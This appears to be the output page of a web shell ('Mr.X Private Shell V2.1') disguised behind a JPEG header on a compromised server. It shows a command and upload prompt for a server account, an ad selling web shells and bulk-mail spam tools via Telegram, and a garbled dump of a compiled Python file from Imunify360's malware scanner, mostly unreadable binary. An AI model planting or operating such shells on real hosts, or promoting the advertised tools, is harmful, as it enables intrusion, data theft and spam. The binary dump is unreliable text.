����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
�

]k��!����dZddlmZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlmZddl
mZddlmZdd	lmZmZmZmZmZmZmZdd
lmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%ddl&m'Z'ddl(m)Z)dd
l*m+Z+m,Z,ddl-m.Z.m/Z/m0Z0ddl1m2Z2m3Z3m4Z4m5Z5ddl6m7Z7ddl8m9Z9m:Z:m;Z;m<Z<m=Z=ddl>m?Z?ddl@mAZAddlBmCZCGd�de+��ZDGd�de+��ZEe	d���Gd�d����ZFGd�de+��ZGGd�d e+��ZHGd!�d"e+��ZIGd#�d$e+��ZJd%ZKd&ZLd'ZMeKeLfZNGd(�d)e+��ZOGd*�d+e+��ZPdS),u

This program is free software: you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License,
or (at your option) any later version.


This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
See the GNU General Public License for more details.


You should have received a copy of the GNU General Public License
 along with this program.  If not, see <https://www.gnu.org/licenses/>.

Copyright © 2019 Cloud Linux Software Inc.

This software is also available under ImunifyAV commercial license,
see <https://www.imunify360.com/legal/eula>
�)�annotationsN)�	dataclass)�reduce)�
attrgetter)�Path)�time)�Any�Dict�Iterable�List�Set�Tuple�cast)
�SQL�BooleanField�Case�	CharField�Check�
Expression�
FloatField�ForeignKeyField�IntegerField�ModelSelect�PrimaryKeyField�	TextField�fn��
model_to_dict)�UserType)�Model�instance)�
FilenameField�
ScanPathField�apply_order_by)�execute_iterable_expression�get_abspath_from_user_dir�get_results_iterable_expression�split_for_chunk)�RemoteRevertHitInfo)�FAILED_TO_CLEANUP�MalwareHitStatus�MalwareScanResourceType�MalwareScanType�VulnerabilityHitStatus)�get_crontab)�MalwareDatabaseHitInfo)�SQLITE_LIMIT_VARIABLE_NUMBERc�~�eZdZdZGd�d��Zed���Zed���Zed���Z	ede
d�ej
ejejejejejejf����g�	��Zedd
���Zedd���Zedd
���Zedd
���Zede
d�ejjejjf����g�	��Zed���Z edd����Z!e"	dej
ejejfd
d�d���Z#d
S)�MalwareScanz�Represents a batch of files scanned for malware

    Usually a single AI-BOLIT execution.
    See :class:`.MalwareScanType` for possible kinds of scans.
    c� �eZdZejZdZdS)�MalwareScan.Meta�
malware_scansN��__name__�
__module__�__qualname__r!�db�database�db_table���J/opt/imunify360/venv/lib/python3.11/site-packages/imav/malwarelib/model.py�Metar5Vs�������;��"���r?rAT��primary_keyF��nullz
type in {}�rE�constraintsr�rE�default�N�resource_type in {}c�8�tt����S�N��intrr>r?r@�<lambda>zMalwareScan.<lambda>�s���T�V�V���r?)�types�pathsc�v�|�|j|j|j|j|j|j|j|j�	d��|j
�	�	�|j�|�����|j|k���|j|k��}|r-|�|j�|����}|�
|j|j|j|j���tj������|���|��}|�t'|||��}|�d���t+|�����fS)N�	scan_typeT��clear_limit)�select�total_resources�path�scanid�started�	completed�error�total_malicious�type�alias�
resource_type�where�in_�group_by�order_byr3�desc�limit�offsetr$�count�list�dicts)	�cls�since�torgrhrerQrR�querys	         r@�
ondemand_listzMalwareScan.ondemand_list�sd��"
�J�J��#����
����
��	��#�����{�+�+��!�

�

��U�3�8�<�<��&�&�
'�
'�
�U�3�;�%�'�
(�
(�
�U�3�;�"�$�
%�
%�	�"�	5��K�K�����U� 3� 3�4�4�E�
�N�N��#�S�X�s�z�3�;�
�
��X�k�)�.�.�0�0�
1�
1�
�U�5�\�\�
�V�F�^�^�
	���"�8�S�%�8�8�E��{�{�t�{�,�,�d�5�;�;�=�=�.A�.A�A�Ar?rM)$r8r9r:�__doc__rArrZrr[r\r�formatr-�	ON_DEMAND�REALTIME�MALWARE_RESPONSE�
BACKGROUND�RESCAN�USER�RESCAN_OUTDATEDr_rXr#rYrr]r^r,�DB�value�FILEra�	initiator�	timestamp�classmethodrpr>r?r@r3r3Os��������#�#�#�#�#�#�#�#�
�Y�4�
(�
(�
(�F��l��&�&�&�G���$�'�'�'�I��9�
��E��#�#�'�1�'�0�'�8�'�2�'�.�'�,�'�7��
�
�
�
�
����D�&#�l��q�9�9�9�O��=�d�B�/�/�/�D�

�I�4��.�.�.�E�"�l��q�9�9�9�O��I�
��E�%�,�,�/�2�8�/�4�:����
�
�	
����M��	�t�$�$�$�I���%�1D�1D�E�E�E�I���
/B�
�%��&�� �
�
�/B�/B�/B�/B��[�/B�/B�/Br?r3c	�
�eZdZdZGd�d��Ze��Zeeddd���Z	e
d���Ze
d���Ze
d���Ze
d���Zedd�	��Ze
d
���Ze
d
���Zed
���Ze
ej���Zed
���Ze
ded�ejjejjf����g�
��Z e
d
���Z!e
d
���Z"e
d
���Z#e
d
���Z$e
d
���Z%e&dCd���Z'e&d���Z(Gd�d��Z)e*												dDdEd���Z+e*	dFd���Z,e*dGd���Z-e*dd�d���Z.e*dGd���Z/e*dHd���Z0e*dId!���Z1e*dJd#���Z2e*d$���Z3e*	dKd%���Z4e*dd&�d'���Z5e*dLd*���Z6e*dMd,���Z7e*d-���Z8d.�Z9e*dNdOd0���Z:e*dPd3���Z;e*dQd5���Z<e*dQd6���Z=e*dQd7���Z>e*dQd8���Z?e*d9���Z@e*d:���ZAe*d;���ZBeCdRd@���ZDdA�ZEdB�ZFdS)S�
MalwareHitz*Represents a malicious or suspicious file.c� �eZdZejZdZdS)�MalwareHit.Meta�malware_hitsNr7r>r?r@rAr��s�������;��!���r?rAF�hits�CASCADE�rE�related_name�	on_deleterDrHT�rIrKrF�return�strc�6�tt|j��SrM)rr�r_��selfs r@�signature_idzMalwareHit.signature_ids���C���#�#�#r?c�T�tt|j��}t|��SrM�rr��	orig_filer�r�r�s  r@�orig_file_pathzMalwareHit.orig_file_path�����d�n�-�-�	��I���r?c�$�eZdZed���ZdS)�MalwareHit.OrderByc	��ttjtjdftjdftjdftjdftjdffd��fS)Nr�����d)	rr��statusr+�CLEANUP_PENDING�CLEANUP_STARTED�FOUND�CLEANUP_DONE�CLEANUP_REMOVEDr>r?r@r�zMalwareHit.OrderBy.status
sb����%�)�9�1�=�)�9�1�=�)�/��3�)�6��:�)�9�1�=���
�
��
r?N)r8r9r:�staticmethodr�r>r?r@�OrderByr�s-������	�
	�
	�
��
	�
	�
	r?r�rN� Tuple[int, List[dict[str, Any]]]c�,��|�|t���t��}|p
t��}|tj|ktj|kzg}|�5d|�d�}|�t
d|f��|j|zz��|�#|�tj|k��|�#|�tj	|k��|
�"|�tj
|
z��|
rωr�|�|jdk��|�|j�
������fd�|
D��}|rrg}g}|D]/}|�d��|�|�d����0d�|��}|�t
d|�d�|����ttj|��}|}|�"|tj�|��z}|�|���|���|��}|	�t-|	t|��}|�|��}d	�|D��}||fS)
N�%�CAST(orig_file AS TEXT) LIKE ?�filec�~��g|]9}t|��t���k�"|�����7|��:Sr>)�len�
startswith)�.0�p�site_searchs  �r@�
<listcomp>z)MalwareHit._hits_list.<locals>.<listcomp>MsM��������q�6�6�C��,�,�,�,����k�1J�1J�,��,�,�,r?zorig_file NOT LIKE ?z AND �(�)c�6�g|]}|�����Sr>��as_dict�r��rows  r@r�z)MalwareHit._hits_list.<locals>.<listcomp>t� ��3�3�3�C�#�+�+�-�-�3�3�3r?)rWr3�joinrr[�appendr�userr�rZr�rar�r�r�operator�and_�idrcrbrgrhr$�	_hits_num)rl�clausesrmrnrgrh�search�
by_scan_idr�re�	by_status�idsr��
user_sites�kwargsr��where_conditions�pattern�longer_paths�
sql_chunks�
sql_paramsrY�combined_sql_string�full_clauses�max_count_clauses�ordered�	max_count�results            `               r@�
_hits_listzMalwareHit._hits_lists����$�z�z�#�{�+�+�0�0��=�=��
�\�4�6�6��
�
�
 �E�
)�k�.A�R�.G�H�
��
��#�&�m�m�m�G��#�#��4�w�j�A�A��8�W�$�&�
�
�
����#�#�J�O�t�$;�<�<�<��!��#�#�K�$6�*�$D�E�E�E�� ��#�#�J�$5��$B�C�C�C��	�+�	��#�#�C�$5��$?�@�@�@��#�#�C�M�$<�$<�[�$I�$I�J�J�J�����#����L��
� �
��
�(�2�2�D��%�%�&<�=�=�=��%�%��j�j�j�1�1�1�1�&-�l�l�:�&>�&>�#� �'�'��2�/�2�2�2�J�?�?�����h�m�-=�>�>��)���?��J�M�-�-�c�2�2�2�L��*�*�\�*�*�0�0��7�7�>�>�v�F�F����$�X�z�7�C�C�G��M�M�"3�4�4�	�3�3�7�3�3�3���&� � r?c�x�|r&|r$|tj|ktj|kzz}|�||j|kz}|�t	j|j�����t���|��}|�t|t|��}|���SrM)r3r[r�rWr�COUNTr�r�rbr$r��scalar)rlr�rmrnr�re�qs       r@r�zMalwareHit._hits_numxs����	�R�	���+�u�4��#�r�)��
�G����s�x�4�'�'�G��J�J�r�x���'�'�(�(�-�-�k�:�:�@�@��I�I�����x��Q�7�7�A��x�x�z�z�r?c��|�|j�tj��|jz|||��SrM)r�r��not_inr+�CLEANUP�	malicious)rlrmrnr�s    r@�
malicious_numzMalwareHit.malicious_num�s?���}�}�
�Z�
�
�/�7�
8�
8�3�=�
H����	
�
�	
r?)�ignore_cleanedc��|j}|r'||j�tj��z}|j|g|�Ri|��SrM)r�r�r�r+r�r�)rlr��argsr�r�s     r@�malicious_listzMalwareHit.malicious_list�sR���-���	C��s�z�(�(�)9�)A�B�B�B�G��s�~�g�7��7�7�7��7�7�7r?c�F�d�|D��}d�}t|||||��S)Nc��g|]	}|j��
Sr>�r�r�s  r@r�z)MalwareHit.set_status.<locals>.<listcomp>����'�'�'�3���'�'�'r?c��d|i}|�||d<|jdi|���|j�|����S)Nr��
cleaned_atr>��updaterbr�rc)r�rlr�r��fields_to_updates     r@�
expressionz)MalwareHit.set_status.<locals>.expression��U���&� ���%�1;� ��.��3�:�1�1� 0�1�1�7�7���
�
�3���H�H�Hr?�r%)rlr�r�r�r�s     r@�
set_statuszMalwareHit.set_status��F��'�'�$�'�'�'��	I�	I�	I�+���c�6�:�
�
�	
r?�	to_deleterjc�F��d�|D��}�fd�}t||��S)Nc��g|]	}|j��
Sr>r�r�s  r@r�z/MalwareHit.delete_instances.<locals>.<listcomp>�s��1�1�1��S�V�1�1�1r?c���������j�|����SrM)�deleterbr�rc)r�rls �r@r�z/MalwareHit.delete_instances.<locals>.expression�s+����:�:�<�<�%�%�c�f�j�j��o�o�6�6�6r?r�)rlr�r�s`  r@�delete_instanceszMalwareHit.delete_instances�sA���1�1�y�1�1�1�	�	7�	7�	7�	7�	7�+�:�y�A�A�Ar?�	to_updatec���|D][}|���D]D\}}|���D]\}}t|||���|����E�\dSrM)�items�setattr�save)rlr��data�	_instance�new_fields_data�fieldr{s       r@�update_instanceszMalwareHit.update_instances�s����	!�	!�D�.2�j�j�l�l�
!�
!�*�	�?�$3�$9�$9�$;�$;�5�5�L�E�5��I�u�e�4�4�4�4���� � � � �
!�	!�	!r?rc�`�|j�tjg��|jz}|SrM)r�rcr+r�r�)rlr�s  r@�is_infectedzMalwareHit.is_infected�s:��
�J�N�N�$�*��
�
�
�m�
�	��r?c��|jSrM)r��rls r@�
is_suspiciouszMalwareHit.is_suspicious�s���
�~�r?c	�T�����fd�}tt||||d�����S)Nc���|j}|�||j�|��z}nS�r(||j�t
j��z}n)�r'||j�t
j��z}|�5t|t��r|g}||j
�|��z}|����|��SrM)
r�r�rcr�r�r+r��
RESTORABLE�
isinstancer�r�rWrb)�chunk_of_idsrlr�r��cleanup�restores    ��r@r�z/MalwareHit.malicious_select.<locals>.expression�s�����m�G��'��3�6�:�:�l�3�3�3����
G��3�:�,�,�-=�-E�F�F�F����
G��3�:�>�>�*:�*E�F�F�F�����d�C�(�(�"� �6�D��3�8�<�<��-�-�-���:�:�<�<�%�%�g�.�.�.r?T)�exec_expr_with_empty_iter�rjr')rlr�r�r
rr�r�s   ``  r@�malicious_selectzMalwareHit.malicious_select�sS����	/�	/�	/�	/�	/�	/��+��C��d�d�
�
�
�
�
�	
r?��statusesc�2�����fd�}t||��S)Nc�����j�|��}�r|�j����z}�����|��SrM�r�rcr�rWrb��filesr�rlrs  ��r@r�z'MalwareHit.get_hits.<locals>.expression��T����m�'�'��.�.�G��
4��3�:�>�>�(�3�3�3���:�:�<�<�%�%�g�.�.�.r?�r'�rlrrr�s` ` r@�get_hitszMalwareHit.get_hits��4����	/�	/�	/�	/�	/�	/�/�z�5�A�A�Ar?�	hits_info�Set[MalwareDatabaseHitInfo]c�x��d�|D��}d�|D��}d�|D���tt����tj�|�����tj�|������}�fd�|D��}|S)Nc��g|]	}|j��
Sr>�rY�r��entrys  r@r�z*MalwareHit.get_db_hits.<locals>.<listcomp>�s��3�3�3����3�3�3r?c��g|]	}|j��
Sr>��app_namer s  r@r�z*MalwareHit.get_db_hits.<locals>.<listcomp>����6�6�6�5���6�6�6r?c�*�g|]}|j|jf��Sr>�rYr$r s  r@r�z*MalwareHit.get_db_hits.<locals>.<listcomp>�s!��J�J�J�u�u�z�5�>�2�J�J�Jr?c�4��g|]}|j|jf�v�|��Sr>�r�r$�r��hit�
paths_appss  �r@r�z*MalwareHit.get_db_hits.<locals>.<listcomp>�s3���
�
�
��C�M�3�<�#@�J�#N�#N�C�#N�#N�#Nr?)rjr�rWrbr�rcr$)rlrrR�appsr�r,s     @r@�get_db_hitszMalwareHit.get_db_hits�s����3�3��3�3�3��6�6�I�6�6�6��J�J�	�J�J�J�
�������
�U�:�'�+�+�E�2�2�
3�
3�
�U�:�&�*�*�4�0�0�
1�
1�
�
��

�
�
�
��
�
�
���r?�list[RemoteRevertHitInfo]c�d��d�|D��}d�|D��}d�|D��}d�|D���tt����tj�|�����tj�|�����tj�|�����tj�tj
������}�fd�|D��}|S)Nc��g|]	}|j��
Sr>)�
app_root_pathr s  r@r�z<MalwareHit.get_db_hits_for_remote_revert.<locals>.<listcomp>�s��<�<�<���$�<�<�<r?c��g|]	}|j��
Sr>r#r s  r@r�z<MalwareHit.get_db_hits_for_remote_revert.<locals>.<listcomp>�r%r?c��g|]	}|j��
Sr>)�sig_idr s  r@r�z<MalwareHit.get_db_hits_for_remote_revert.<locals>.<listcomp>s��:�:�:�u�e�l�:�:�:r?c�6�g|]}|j|j|jf��Sr>)r2r$r5r s  r@r�z<MalwareHit.get_db_hits_for_remote_revert.<locals>.<listcomp>s6��
�
�
���
 �%�.�%�,�?�
�
�
r?c�@��g|]}|j|j|jf�v�|��Sr>)r�r$r�r*s  �r@r�z<MalwareHit.get_db_hits_for_remote_revert.<locals>.<listcomp>s<���
�
�
���
�s�|�S�-=�>�*�L�L�
�L�L�Lr?)rjr��db_hitsrbr�rcr$r_r�r+r)rlrrRr-�
signaturesr�r,s      @r@�get_db_hits_for_remote_revertz(MalwareHit.get_db_hits_for_remote_revert�s&���=�<�)�<�<�<��6�6�I�6�6�6��:�:�	�:�:�:�
�
�
�"�
�
�
�
�"&���� � �
�U�:�'�+�+�E�2�2�
3�
3�
�U�:�&�*�*�4�0�0�
1�
1�
�U�:�?�&�&�z�2�2�
3�
3�
�U�:�$�(�(�)9�)D�E�E�
F�
F�"
�"
��
�
�
�
��
�
�
��
�r?c�.���fd�}t||��S)Nc���������j�|����SrM�r�rbr�rc�rrls �r@r�z*MalwareHit.delete_hits.<locals>.expression�/����:�:�<�<�%�%�c�m�&7�&7��&>�&>�?�?�?r?r��rlrr�s`  r@�delete_hitszMalwareHit.delete_hits�3���	@�	@�	@�	@�	@�+�:�u�=�=�=r?c�j�t|���|�����SrM)r_�get�_pk_exprr�s r@�refreshzMalwareHit.refreshs"���D�z�z�~�~�d�m�m�o�o�.�.�.r?�Iterable[MalwareHit]c�L�����fd�}tt||����S)Nc�������}�r3���t���t��}|��j�d�|D������S)Nc��g|]	}|j��
Sr>r��r�r+s  r@r�z?MalwareHit.refresh_hits.<locals>.expression.<locals>.<listcomp>#s��*B�*B�*B�c�3�6�*B�*B�*Br?)rWr3r�rbr�rc)r�rorl�include_scan_infos  ��r@r�z+MalwareHit.refresh_hits.<locals>.expressionsi����J�J�L�L�E� �
G��
�
�3��4�4�9�9�+�F�F���;�;�s�v�z�z�*B�*B�T�*B�*B�*B�C�C�D�D�Dr?r
)rlr�rLr�s` ` r@�refresh_hitszMalwareHit.refresh_hitssC����	E�	E�	E�	E�	E�	E��3�J��E�E�F�F�Fr?r~rOc���|����|j|k|j�t
j��z|j�d��z��S)NF)rWrbr�r�rcr+�CLEANED�is_null)rlr~s  r@�
cleaned_sincezMalwareHit.cleaned_since's^���z�z�|�|�!�!�
�^�y�
(��z�~�~�.�6�7�7�
9��~�%�%�e�,�,�
.�
�
�	
r?rc��|����|jtjjk��SrM)rWrbrar,rzr{rs r@r8zMalwareHit.db_hits/s4���z�z�|�|�!�!���!8�!;�!A�A�
�
�	
r?c�v�|����|jtjk��S)z,Return db hits that are in queue for cleanup)r8rbr�r+r�rs r@�db_hits_pending_cleanupz"MalwareHit.db_hits_pending_cleanup5�2���{�{�}�}�"�"��J�*�:�:�
�
�	
r?c�v�|����|jtjk��S)z3Return db hits for which the cleanup is in progress)r8rbr�r+r�rs r@�db_hits_under_cleanupz MalwareHit.db_hits_under_cleanup<rUr?c�v�|����|jtjk��S)z3Return db hits for which the restore is in progress�r8rbr�r+�CLEANUP_RESTORE_STARTEDrs r@�db_hits_under_restorationz$MalwareHit.db_hits_under_restorationCs2���{�{�}�}�"�"��J�*�B�B�
�
�	
r?c�<��d�|D��}d�|D��}d�|D���|����|j�|�����|j�|����}�fd�|D��S)z�
        Return db hits for which the cleanup is in progress
        specified by the provided set of MalwareDatabaseHitInfo
        c��h|]	}|j��
Sr>r�r��hit_infos  r@�	<setcomp>z6MalwareHit.db_hits_under_cleanup_in.<locals>.<setcomp>Rs��?�?�?�h�H�M�?�?�?r?c��h|]	}|j��
Sr>r#r^s  r@r`z6MalwareHit.db_hits_under_cleanup_in.<locals>.<setcomp>Ss��G�G�G�h��)�G�G�Gr?c�*�h|]}|j|jf��Sr>r'r^s  r@r`z6MalwareHit.db_hits_under_cleanup_in.<locals>.<setcomp>Ts/��
�
�
�3;�X�]�H�-�.�
�
�
r?c�4��g|]}|j|jf�v�|��Sr>r))r�r+�path_app_name_sets  �r@r�z7MalwareHit.db_hits_under_cleanup_in.<locals>.<listcomp>\s8���
�
�
���
�s�|�,�0A�A�A�
�A�A�Ar?)rWrbr�rcr$)rl�hit_info_set�path_set�app_name_setrords     @r@�db_hits_under_cleanup_inz#MalwareHit.db_hits_under_cleanup_inJs����@�?�,�?�?�?��G�G�,�G�G�G��
�
�?K�
�
�
��
�%�%�'�'�
�U�3�=�$�$�X�.�.�
/�
/�
�U�3�<�#�#�L�1�1�
2�
2�	�

�
�
�
��
�
�
�	
r?c��|����|j�tjtjg����SrM)r8rbr�rcr+�CLEANUP_RESTORE_PENDING�CLEANUP_REMOTE_RESTORE_PENDINGrs r@�db_hits_pending_cleanup_restorez*MalwareHit.db_hits_pending_cleanup_restorebsF���{�{�}�}�"�"��J�N�N�$�<�$�C��
�
�
�
�	
r?c�v�|����|jtjk��SrMrYrs r@�db_hits_under_cleanup_restorez(MalwareHit.db_hits_under_cleanup_restorems0���{�{�}�}�"�"��J�*�B�B�
�
�	
r?�
hit_list_list�List['MalwareHit']�	attribute�Dict[str, List['MalwareHit']]c���td�tj�|��D��t	|�����}d�tj|t	|�����D��S)Nc3�K�|]}|V��dSrMr>rKs  r@�	<genexpr>z0MalwareHit.group_by_attribute.<locals>.<genexpr>x�"����I�I�S�S�I�I�I�I�I�Ir?��keyc�4�i|]\}}|t|����Sr>�rj�r��
attr_valuer�s   r@�
<dictcomp>z1MalwareHit.group_by_attribute.<locals>.<dictcomp>{�4��
�
�
� �
�D�
��T�
�
�
�
�
r?��sorted�	itertools�chain�
from_iterabler�groupby�rqro�hit_lists   r@�group_by_attributezMalwareHit.group_by_attributes����I�I�I�O�9�9�-�H�H�I�I�I��9�%�%�
�
�
��
�
�$-�$5���y�)�)�%�%�%�
�
�
�	
r?c�@�id|j�d|j�d|j�d|jj�d|j�d|jj�d|j�d|j�d	|j�d
|j	�d|j
�d|j�d
|j�di�d|j
�d|j�d|j�|j|j|jt$jjk�ret+t,�t,jt,jt,j���t,j|jkt,j|jkt,j|jkt,j
|j
kt,j|jkt,j|jkt,j|jkt,j|jkt,j�d��t,j�d��t,j�d����� ����ngd��S)Nr��usernamer��created�scan_idrTrar_�hash�sizer�r�r��
extra_data�db_namer$�db_hostF)�db_port�snippet�table_fields)!r�r�r�rZr[�	scanid_idr_rar�r�r�r�r�r�r$r�r�r�r,rzr{rj�MalwareHistoryrW�
table_name�table_field�
table_row_infrbrYr�r�rPrkr�s r@r�zMalwareHit.as_dict�s-��-
��$�'�-
���	�-
�
�D�N�-
�
�t�{�*�	-
�

�t�~�-
�
���)�
-
�
�T�/�-
�
�D�I�-
�
�D�I�-
�
�D�I�-
�
���-
�
�d�k�-
�
�$�/�-
�
�"�-
�
�t�|�-
� 
��
�!-
�"
�t�|�#-
�$�|��|�.�%�)@�)C�)I�I�I�+�"�)�)�&�1�&�2�&�4���
�U�&�/�4�=�@�&�.�$�,�>�&�.�$�,�>�&�.�$�,�>�&�+�t�~�=�&�4��8J�J�&�.�$�+�=�&�3�t�y�@�&�1�9�9�%�@�@�&�2�:�:�5�A�A�&�4�<�<�U�C�C����U�W�W�'���,�W-
�-
�-
�-	
r?c�|�|jr|jj�d|j�d|j�d�S|jj�d|j�d�S)Nz(orig_file=z, app_name=r�)r$�	__class__r8r�r�s r@�__repr__zMalwareHit.__repr__�sT���=�	���'�'�'������
�
�
��
�
&*�^�%<�%<�%<�d�n�n�n�M�Mr?)r�r�)rNNNNNNNNNNN)r�r�)NNNNNrM)r�rj)r�rj)r�r)NNFF)rr)rr/)F)r�rG)r~rO)r�r)rorprqr�r�rr)Gr8r9r:rqrArr�rr3rZr�ownerr�r"r�r_rr�r�r�rr~r+r�r�r�rrrr,rzr{r|rar$r�r�r�r��propertyr�r�r�rr�r�r�r�r�r�r�rrrrr.r:rArFrMrQr8rTrWr[rhrlrnr�r�r�r�r>r?r@r�r��s�������4�4�"�"�"�"�"�"�"�"�

��	�	�B�
�_��%�f�	����F�
�I�5�!�!�!�E��9�%� � � �D��
�5�)�)�)�I��9�%� � � �D�
��%��7�7�7�I��9�$����D��9�$����D��
��%�%�%�I��Y�/�5�
6�
6�
6�F����&�&�&�J��I�
��E�%�,�,�/�2�8�/�4�:����
�
�	
����M��y�d�#�#�#�H��i�T�"�"�"�G��i�T�"�"�"�G��i�T�"�"�"�G��i�T�"�"�"�G�
�$�$�$��X�$�����X����������"�������
������X!�X!�X!�X!��[�X!�t�DH�����[���
�
�
��[�
��27�8�8�8�8��[�8��
�
�
��[�
� �B�B�B��[�B��!�!�!��[�!��	�	�	��[�	�����[���9>�
�
�
��[�
�.�)-�B�B�B�B��[�B������[�������[��0�>�>��[�>�/�/�/��G�G�G�G��[�G��
�
�
��[�
��
�
�
��[�
�
�
�
�
��[�
��
�
�
��[�
��
�
�
��[�
��
�
��[�
�.�
�
��[�
��
�
��[�
�
�

�

�

��\�

�.
�.
�.
�`N�N�N�N�Nr?r�T)�frozenc��eZdZUdZded<ded<ded<ded<ded<d	ed
<ded<ded<d	ed
<ded<ed���Zed���ZdS)�MalwareHitAlternatezA
    Used as a replacement for MalwareHit for file hits only
    r�rZr��Noner$r�r�rOr�r�r_r~�boolr�c
���|||d|d|d|d|d|ddd|ddd|ddd	�
�
�
S)Nr�r�r�r�r�r�matchesr~�
suspicious)
rZr�r$r�r�r�r�r_r~r�r>)rlrZ�filenamer�s    r@�createzMalwareHitAlternate.create�ss���s�����w�-��f���f���f���f��a���+��6�l�1�o�k�2��v�,�q�/�,�7�7�
�
�
�	
r?c�N�ttj|j����SrM)r�os�fsdecoder�r�s r@r�z"MalwareHitAlternate.orig_file_path�s���B�K���/�/�0�0�0r?N)	r8r9r:rq�__annotations__rr�r�r�r>r?r@r�r��s�����������K�K�K��N�N�N��N�N�N��J�J�J�
�I�I�I�
�I�I�I�
�I�I�I�
�I�I�I��N�N�N��O�O�O��
�
��[�
��1�1��X�1�1�1r?r�c�J��eZdZdZGd�d��ZdZe��Ze��Z	ede
d��g���Zedd��	��Z
ed
���Ze�fd���Ze�fd���Ze								ddd���Zedd���Zed���Z�xZS)�MalwareIgnorePathz+A path that must be excluded from all scansc�$�eZdZejZdZdZdS)�MalwareIgnorePath.Meta�malware_ignore_path)))rYraTN�r8r9r:r!r;r<r=�indexesr>r?r@rAr��s�������;��(��6���r?rANFzresource_type in ('file','db')rFc�8�tt����SrMrNr>r?r@rPzMalwareIgnorePath.<lambda>�s��#�d�f�f�+�+�r?rHc��t|����|j�������}||_dSrM)rjrWrerYrk�CACHE)rlr�s  r@�
_update_cachezMalwareIgnorePath._update_cache�s>���S�Z�Z�\�\�*�*�3�8�4�4�:�:�<�<�=�=����	�	�	r?c�R��d|_tt|��jdi|��S)Nr>)r��superr�r�)rlr�r�s  �r@r�zMalwareIgnorePath.create�s.�����	�3�u�&��,�,�3�=�=�f�=�=�=r?c�`��d|_tt|�����SrM)r�r�r�r�)rlr�s �r@r�zMalwareIgnorePath.deletes'�����	��&��,�,�3�3�5�5�5r?ra�
str | Nonec		�\�|����|j��}	|�|	�|j|k��}	|�|	�|j|k��}	|�-|	�|j�|����}	|�|	�|j|k��}	|�|	�|��}	|�|	�|��}	|�t|||	��}	|��t|��}
|	�|j�t|
��dz��|jt|
��kz|jtt|����kz��}	|	�d���}|d�|	D��fS)N�/TrUc�,�g|]}t|����Sr>rr�s  r@r�z:MalwareIgnorePath.paths_count_and_list.<locals>.<listcomp>+s ��-�-�-�C�]�3�
�
�-�-�-r?)rWrerYrb�
added_date�containsrarhrgr$r&r�r�r/ri)rlrgrhr�rar�rmrnrer��	user_homer�s            r@�paths_count_and_listz&MalwareIgnorePath.paths_count_and_lists���
�J�J�L�L�!�!�#�(�+�+���������%�/�0�0�A�
�>������"�,�-�-�A��������)�)�&�1�1�2�2�A��$�����)�]�:�;�;�A������� � �A���������A����x��a�0�0�A���1�$�7�7�I������$�$�S��^�^�c�%9�:�:��8�s�9�~�~�-�/��8�s�;�t�#4�#4�5�5�5�7���A��G�G��G�-�-�	��-�-�1�-�-�-�
�	
r?r��	List[str]c�:�|j|i|��\}}d�|D��S)Nc��g|]
}|d��Srr>r�s  r@r�z/MalwareIgnorePath.path_list.<locals>.<listcomp>1s��1�1�1���F��1�1�1r?)r�)rlr�r��_�	path_lists     r@r�zMalwareIgnorePath.path_list.s1��/�s�/��@��@�@���9�1�1�y�1�1�1�1r?c��K�|j�|���t|��}|jrK|jD]C}tjd���d{V��t|d��}||ks	||jvrdS�DdS)z�Checks whether path stored in MalwareIgnorePath cache or
        if it's belongs to path from cache or if it matches patters from cache

        :param str check_path: path to check
        :return: bool: is ignored according MalwareIgnorePath
        NrrYTF)r�r�r�asyncio�sleep�parents)rl�
check_pathrYr��ignored_paths     r@�is_path_ignoredz!MalwareIgnorePath.is_path_ignored3s������9���������J�����9�	 ��Y�
 �
 ���m�A�&�&�&�&�&�&�&�&�&�#�A�f�I�����L�(�(�l�d�l�.J�.J��4�4�/K��ur?)NNNNNNNN)rar�)r�r�)r8r9r:rqrAr�rr�rrYrrarr�rr�r�r�r�r�r��
__classcell__)r�s@r@r�r��s��������5�5�7�7�7�7�7�7�7�7�

�E�	��	�	�B��9�;�;�D��I�
���'G�!H�!H� I����M���5�2E�2E�F�F�F�J�����[���>�>�>�>��[�>��6�6�6�6��[�6�����$(�
����&
�&
�&
�&
��[�&
�P�2�2�2��[�2�����[�����r?r�c	��eZdZdZGd�d��Zed���Zed���Zede	d�
ejj
ejj
f����gejj
���Zed���Zed���Zed���Zed���Zed���Zedd	��
��Zed���Zed���Zed���Zed���Zed���Zed���Zed���Zed���Ze	dd���Z ed
���Z!edd���Z"edd���Z#dS)r�z:Records every event related to :class:`MalwareHit` recordsc� �eZdZejZdZdS)�MalwareHistory.Meta�malware_historyNr7r>r?r@rAr�Js�������;��$���r?rAFrDTrK)rErGrIc�8�tt����SrMrNr>r?r@rPzMalwareHistory.<lambda>ks��S����[�[�r?rHNc���|j|k|j|kz}|r/||j�|��td|f��zz}|r||j|kz}|����|���|���|���	��}	|�t|t|	��}	t|	��}
|	�
d���|
fS)Nz(INSTR(path, ?))TrU)�ctime�eventr�r�	file_userrWrbrgrhrkr$r�rjri)rlrmrnrgrhr�r�rer�ro�list_results           r@�get_historyzMalwareHistory.get_history}s����9��%�#�)�r�/�:���	���	�*�*�6�2�2��&��	�2�2��
�G��	-��s�}��,�,�G��
�
